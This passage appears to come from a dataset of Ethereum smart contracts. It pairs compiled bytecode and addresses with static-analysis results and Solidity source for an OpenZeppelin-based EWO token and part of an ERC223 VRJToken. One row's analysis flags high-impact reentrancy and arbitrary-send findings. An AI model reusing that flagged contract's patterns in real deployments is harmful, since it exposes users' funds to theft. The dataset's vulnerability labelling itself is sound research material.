565b601054909150600160a81b900460ff161580156111e757506010546001600160a01b03858116911614155b80156111fc5750601054600160b01b900460ff165b801561120a5750600b548110155b1561122a5761121881611276565b4780156112285761122847611474565b505b505b6112378383836114ae565b505050565b600081848411156112605760405162461bcd60e51b81526004016105ed91906119de565b50600061126d8486611d64565b95945050505050565b6010805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112be576112be611c9d565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611317573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061133b9190611ce4565b8160018151811061134e5761134e611c9d565b6001600160a01b039283166020918202929092010152600f546113749130911684610cd2565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113ad908590600090869030904290600401611d7b565b600060405180830381600087803b1580156113c757600080fd5b505af11580156113db573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b60006009548211156114575760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ed565b60006114616114b9565b905061146d83826114dc565b9392505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561085a573d6000803e3d6000fd5b61123783838361151e565b60008060006114c66116de565b90925090506114d582826114dc565b9250505090565b600061146d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611720565b6000806000806000806115308761174e565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156290876117ab565b6001600160a01b038a1660009081526002602090815260408083209390935560059052205460ff16806115ad57506001600160a01b03881660009081526005602052604090205460ff165b15611636576001600160a01b0388166000908152600260205260409020546115d590876117ed565b6001600160a01b03808a1660008181526002602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611629908b815260200190565b60405180910390a36116d3565b6001600160a01b03881660009081526002602052604090205461165990866117ed565b6001600160a01b03891660009081526002602052604090205561167b8161184c565b6116858483611896565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116ca91815260200190565b60405180910390a35b505050505050505050565b6009546000908190683635c9adc5dea000006116fa82826114dc565b82101561171757505060095492683635c9adc5dea0000092509050565b90939092509050565b600081836117415760405162461bcd60e51b81526004016105ed91906119de565b50600061126d8486611dec565b600080600080600080600080600061176b8a600c54600d546118ba565b925092509250600061177b6114b9565b9050600080600061178e8e87878761190f565b919e509c509a509598509396509194505050505091939550919395565b600061146d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061123c565b6000806117fa8385611d4c565b90508381101561146d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ed565b60006118566114b9565b90506000611864838361195f565b3060009081526002602052604090205490915061188190826117ed565b30600090815260026020526040902055505050565b6009546118a390836117ab565b600955600a546118b390826117ed565b600a555050565b60008080806118d460646118ce898961195f565b906114dc565b905060006118e760646118ce8a8961195f565b905060006118ff826118f98b866117ab565b906117ab565b9992985090965090945050505050565b600080808061191e888661195f565b9050600061192c888761195f565b9050600061193a888861195f565b9050600061194c826118f986866117ab565b939b939a50919850919650505050505050565b60008261196e57506000610554565b600061197a8385611e0e565b9050826119878583611dec565b1461146d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ed565b600060208083528351808285015260005b81811015611a0b578581018301518582016040015282016119ef565b81811115611a1d576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461064d57600080fd5b8035611a5381611a33565b919050565b60008060408385031215611a6b57600080fd5b8235611a7681611a33565b946020939093013593505050565b600080600060608486031215611a9957600080fd5b8335611aa481611a33565b92506020840135611ab481611a33565b929592945050506040919091013590565b600060208284031215611ad757600080fd5b813561146d81611a33565b801515811461064d57600080fd5b600060208284031215611b0257600080fd5b813561146d81611ae2565b600060208284031215611b1f57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b4f57600080fd5b823567ffffffffffffffff80821115611b6757600080fd5b818501915085601f830112611b7b57600080fd5b813581811115611b8d57611b8d611b26565b8060051b604051601f19603f83011681018181108582111715611bb257611bb2611b26565b604052918252848201925083810185019188831115611bd057600080fd5b938501935b82851015611bf557611be685611a48565b84529385019392850192611bd5565b98975050505050505050565b60008060408385031215611c1457600080fd5b8235611c1f81611a33565b91506020830135611c2f81611ae2565b809150509250929050565b60008060408385031215611c4d57600080fd5b8235611c5881611a33565b91506020830135611c2f81611a33565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cdd57611cdd611cb3565b5060010190565b600060208284031215611cf657600080fd5b815161146d81611a33565b600080600060608486031215611d1657600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611d4157600080fd5b815161146d81611ae2565b60008219821115611d5f57611d5f611cb3565b500190565b600082821015611d7657611d76611cb3565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611dcb5784516001600160a01b031683529383019391830191600101611da6565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e0957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e2857611e28611cb3565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122099cf1a0d5d59fadb79fe38e4214f99acf7e3068d24e3046de614e3f4e32fc37164736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,924 |
0x444997b7e7fc830e20089afea3078cd518fcf2a2
|
pragma solidity 0.4.23;
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: openzeppelin-solidity/contracts/ownership/HasNoEther.sol
/**
* @title Contracts that should not own Ether
* @author Remco Bloemen <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="87f5e2eae4e8c7b5">[email protected]</a>π.com>
* @dev This tries to block incoming ether to prevent accidental loss of Ether. Should Ether end up
* in the contract, it will allow the owner to reclaim this ether.
* @notice Ether can still be sent to this contract by:
* calling functions labeled `payable`
* `selfdestruct(contract_address)`
* mining directly to the contract address
*/
contract HasNoEther is Ownable {
/**
* @dev Constructor that rejects incoming Ether
* @dev The `payable` flag is added so we can access `msg.value` without compiler warning. If we
* leave out payable, then Solidity will allow inheriting contracts to implement a payable
* constructor. By doing it this way we prevent a payable constructor from working. Alternatively
* we could use assembly to access msg.value.
*/
function HasNoEther() public payable {
require(msg.value == 0);
}
/**
* @dev Disallows direct send by settings a default function without the `payable` flag.
*/
function() external {
}
/**
* @dev Transfer all Ether held by the contract to the owner.
*/
function reclaimEther() external onlyOwner {
// solium-disable-next-line security/no-send
assert(owner.send(address(this).balance));
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol
/**
* @title Contracts that should be able to recover tokens
* @author SylTi
* @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner.
* This will prevent any accidental loss of tokens.
*/
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
/**
* @dev Reclaim all ERC20Basic compatible tokens
* @param token ERC20Basic The address of the token contract
*/
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
// File: openzeppelin-solidity/contracts/ownership/HasNoTokens.sol
/**
* @title Contracts that should not own Tokens
* @author Remco Bloemen <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="80f2e5ede3efc0b2">[email protected]</a>π.com>
* @dev This blocks incoming ERC223 tokens to prevent accidental loss of tokens.
* Should tokens (any ERC20Basic compatible) end up in the contract, it allows the
* owner to reclaim the tokens.
*/
contract HasNoTokens is CanReclaimToken {
/**
* @dev Reject all ERC223 compatible tokens
* @param from_ address The address that is transferring the tokens
* @param value_ uint256 the amount of the specified token
* @param data_ Bytes The data passed from the caller.
*/
function tokenFallback(address from_, uint256 value_, bytes data_) external {
from_;
value_;
data_;
revert();
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/PausableToken.sol
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts/EWOToken.sol
contract EWOToken is MintableToken, PausableToken, HasNoEther, HasNoTokens {
string public constant name = "EWO Token";
string public constant symbol = "EWO";
uint8 public constant decimals = 18;
}
|
0x60806040526004361061010e5763ffffffff60e060020a60003504166305d2035b811461011d57806306fdde0314610146578063095ea7b3146101d057806317ffc320146101f457806318160ddd1461021757806323b872dd1461023e578063313ce567146102685780633f4ba83a1461029357806340c10f19146102a85780635c975abb146102cc57806366188463146102e157806370a08231146103055780637d64bcb4146103265780638456cb591461033b5780638da5cb5b1461035057806395d89b41146103815780639f727c2714610396578063a9059cbb146103ab578063c0ee0b8a146103cf578063d73dd62314610400578063dd62ed3e14610424578063f2fde38b1461044b575b34801561011a57600080fd5b50005b34801561012957600080fd5b5061013261046c565b604080519115158252519081900360200190f35b34801561015257600080fd5b5061015b61048d565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019557818101518382015260200161017d565b50505050905090810190601f1680156101c25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101dc57600080fd5b50610132600160a060020a03600435166024356104c4565b34801561020057600080fd5b50610215600160a060020a03600435166104ef565b005b34801561022357600080fd5b5061022c6105bb565b60408051918252519081900360200190f35b34801561024a57600080fd5b50610132600160a060020a03600435811690602435166044356105c1565b34801561027457600080fd5b5061027d6105ee565b6040805160ff9092168252519081900360200190f35b34801561029f57600080fd5b506102156105f3565b3480156102b457600080fd5b50610132600160a060020a0360043516602435610670565b3480156102d857600080fd5b5061013261078f565b3480156102ed57600080fd5b50610132600160a060020a036004351660243561079f565b34801561031157600080fd5b5061022c600160a060020a03600435166107c3565b34801561033257600080fd5b506101326107de565b34801561034757600080fd5b50610215610888565b34801561035c57600080fd5b5061036561090a565b60408051600160a060020a039092168252519081900360200190f35b34801561038d57600080fd5b5061015b610919565b3480156103a257600080fd5b50610215610950565b3480156103b757600080fd5b50610132600160a060020a036004351660243561099f565b3480156103db57600080fd5b5061021560048035600160a060020a03169060248035916044359182019101356109c3565b34801561040c57600080fd5b50610132600160a060020a03600435166024356109c8565b34801561043057600080fd5b5061022c600160a060020a03600435811690602435166109ec565b34801561045757600080fd5b50610215600160a060020a0360043516610a17565b60035474010000000000000000000000000000000000000000900460ff1681565b60408051808201909152600981527f45574f20546f6b656e0000000000000000000000000000000000000000000000602082015281565b60035460009060a860020a900460ff16156104de57600080fd5b6104e88383610ab0565b9392505050565b60035460009033600160a060020a0390811691161461050d57600080fd5b81600160a060020a03166370a08231306040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b15801561056857600080fd5b505af115801561057c573d6000803e3d6000fd5b505050506040513d602081101561059257600080fd5b50516003549091506105b790600160a060020a0384811691168363ffffffff610b1a16565b5050565b60015490565b60035460009060a860020a900460ff16156105db57600080fd5b6105e6848484610bb6565b949350505050565b601281565b60035433600160a060020a0390811691161461060e57600080fd5b60035460a860020a900460ff16151561062657600080fd5b6003805475ff000000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60035460009033600160a060020a0390811691161461068e57600080fd5b60035474010000000000000000000000000000000000000000900460ff16156106b657600080fd5b6001546106c9908363ffffffff610d3616565b600155600160a060020a0383166000908152602081905260409020546106f5908363ffffffff610d3616565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b60035460a860020a900460ff1681565b60035460009060a860020a900460ff16156107b957600080fd5b6104e88383610d49565b600160a060020a031660009081526020819052604090205490565b60035460009033600160a060020a039081169116146107fc57600080fd5b60035474010000000000000000000000000000000000000000900460ff161561082457600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b60035433600160a060020a039081169116146108a357600080fd5b60035460a860020a900460ff16156108ba57600080fd5b6003805475ff000000000000000000000000000000000000000000191660a860020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600381527f45574f0000000000000000000000000000000000000000000000000000000000602082015281565b60035433600160a060020a0390811691161461096b57600080fd5b600354604051600160a060020a039182169130163180156108fc02916000818181858888f19350505050151561099d57fe5b565b60035460009060a860020a900460ff16156109b957600080fd5b6104e88383610e42565b600080fd5b60035460009060a860020a900460ff16156109e257600080fd5b6104e88383610f3b565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610a3257600080fd5b600160a060020a0381161515610a4757600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03338116600081815260026020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b82600160a060020a031663a9059cbb83836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015610b7d57600080fd5b505af1158015610b91573d6000803e3d6000fd5b505050506040513d6020811015610ba757600080fd5b50511515610bb157fe5b505050565b6000600160a060020a0383161515610bcd57600080fd5b600160a060020a038416600090815260208190526040902054821115610bf257600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610c2557600080fd5b600160a060020a038416600090815260208190526040902054610c4e908363ffffffff610fdd16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610c83908363ffffffff610d3616565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610cc9908363ffffffff610fdd16565b600160a060020a038086166000818152600260209081526040808320338616845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b81810182811015610d4357fe5b92915050565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610da657600160a060020a033381166000908152600260209081526040808320938816835292905290812055610ddd565b610db6818463ffffffff610fdd16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902054825190815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060019392505050565b6000600160a060020a0383161515610e5957600080fd5b600160a060020a033316600090815260208190526040902054821115610e7e57600080fd5b600160a060020a033316600090815260208190526040902054610ea7908363ffffffff610fdd16565b600160a060020a033381166000908152602081905260408082209390935590851681522054610edc908363ffffffff610d3616565b600160a060020a03808516600081815260208181526040918290209490945580518681529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610f73908363ffffffff610d3616565b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902085905581519485529051929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b600082821115610fe957fe5b509003905600a165627a7a72305820ab33641138ea354482064c84bd54472a0701392cbbcfb4abd8d8c20f88746d3a0029
|
{"success": true, "error": null, "results": {}}
| 8,925 |
0x80623c126ce442980666ef38a72ec7b9e80f4706
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization
* control functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the
* sender account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* 彡(^)(^)
* @title ERC223
* @dev ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
*/
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
/**
* @title ContractReceiver
* @dev Contract that is working with ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/*
* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function if data of token transaction is a function execution
*/
}
}
/**
* @title VRJToken
* @author VRJToken
* @dev VRJToken is an ERC223 Token with ERC20 functions and events
* Fully backward compatible with ERC20
*/
contract VRJToken is ERC223, Ownable {
using SafeMath for uint256;
string public name = "VRJToken";
string public symbol = "VRJT";
string public constant AAcontributors = "VRJToken";
uint8 public decimals = 8;
uint256 public totalSupply = 2e10 * 1e8;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
/**
* @dev Constructor is called only once and can not be called again
*/
function VRJToken() public {
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
/**
* @dev Prevent targets from sending or receiving tokens
* @param targets Addresses to be frozen
* @param isFrozen either to freeze it or not
*/
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
